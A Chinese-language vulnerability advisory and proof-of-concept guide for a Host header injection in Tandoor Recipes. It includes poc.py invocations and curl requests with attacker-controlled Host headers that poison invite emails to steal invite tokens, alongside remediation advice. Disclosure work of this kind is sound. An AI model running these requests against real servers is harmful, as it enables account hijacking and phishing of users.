Tandoor Recipes 在 settings.py 中默认将 ALLOWED_HOSTS 设置为 '*',导致 Django 在未经验证的情况下接受 HTTP Host 头中的任意值。该应用在多个安全敏感场景中使用 request.build_absolute_uri() 生成绝对 URL。攻击者若能发送带有精心构造的 Host 头的请求,即可将所有服务器生成的 URL 重定向到攻击者控制的域名。
最严重的影响是邀请链接投毒:当管理员创建用户邀请时,服务器发送的邮件中包含指向攻击者域名的链接。受害者点击看似合法的邮件后,邀请令牌被窃取,攻击者利用该令牌劫持账户开通流程。
文件: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Django 的 ALLOWED_HOSTS 是一项安全措施,用于根据白名单验证 Host 头。通配符 '*' 完全禁用了此验证,允许任意值。
文件: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() 使用 request.get_host() 构造 URL,当 ALLOWED_HOSTS 未限制时,该方法返回原始的 Host 头值。邀请 UUID(一个秘密令牌)被嵌入到指向攻击者的 URL 中。
build_absolute_uri() 生成 next/previous URL┌──────────┐ ① 构造请求 ┌─────────────────┐
│ 攻击者 │ ──────────────────────────────→│ Tandoor 服务器 │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
使用 "attacker.com"
│
▼
┌────────────────┐
│ SMTP 服务器 │
└────────┬───────┘
│
③ 包含投毒链接的邮件:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ 受害者 │
│ (点击链接) │
└────────┬───────┘
│
④ UUID 发送给攻击者
│
▼
┌────────────────┐
│ 攻击者 │
│ 在真实服务器上 │
│ 使用 UUID │
└────────────────┘
requests 库pip install requests
# 使用基本认证运行所有验证模块
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# 使用会话 Cookie 运行所有模块
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# 仅进行邀请链接投毒
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
1. Host 头接受性
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# 预期:200(存在漏洞)| 400(已修复)
2. 分页 URL 反射
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# 预期:{"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. 模式 URL 反射
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# 预期:http://evil.com/...
4. 邀请链接投毒
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# 受害者收到邮件:"Click: http://attacker.com/invite/<uuid>"
将 ALLOWED_HOSTS 显式设置为您的有效主机名列表:
# docker-compose.yml 或 .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host 头的请求USE_X_FORWARDED_HOST = False — 确保 Django 不信任来自不可信来源的 X-Forwarded-Host(默认值为 False)SITE_URL 配置生成邮件链接,而不是依赖 request.build_absolute_uri()本概念验证仅供授权安全测试和教育目的使用。未经授权访问计算机系统属于违法行为。作者不对本工具的滥用承担任何责任。
Filipe Gaudard — 进攻性安全研究员 | eWPT | eWPTx
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — 对脚本语法的 HTTP 头中和不当 |
| CVSS v3.1 | 8.1 高危 — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| 受影响版本 | Tandoor Recipes ≤ 2.5.3 |
| 厂商 | TandoorRecipes/recipes |
| 模块 | 描述 |
|---|
host-accept | 验证目标是否接受任意 Host 头(ALLOWED_HOSTS = '*') |
pagination | 确认 API 分页 URL 反映注入的域名 |
schema | 确认 OpenAPI 模式服务器 URL 反映注入的域名 |
invite | 创建投毒的邀请链接 — 主要攻击向量 |
all | 按顺序运行所有模块 |
| 影响领域 | 描述 | 严重程度 |
|---|
| 邀请令牌劫持 | 攻击者通过投毒的邮件链接捕获邀请 UUID,劫持账户开通流程 | 严重 |
| 凭据钓鱼 | 受害者访问攻击者控制的域名,误以为是合法的注册页面 | 高 |
| 缓存投毒 | 在使用缓存代理的部署环境中,单个被投毒的响应会污染所有用户的缓存 | 高 |
| API 客户端误导 | 分页和模式 URL 将 API 消费者重定向到攻击者基础设施 | 中 |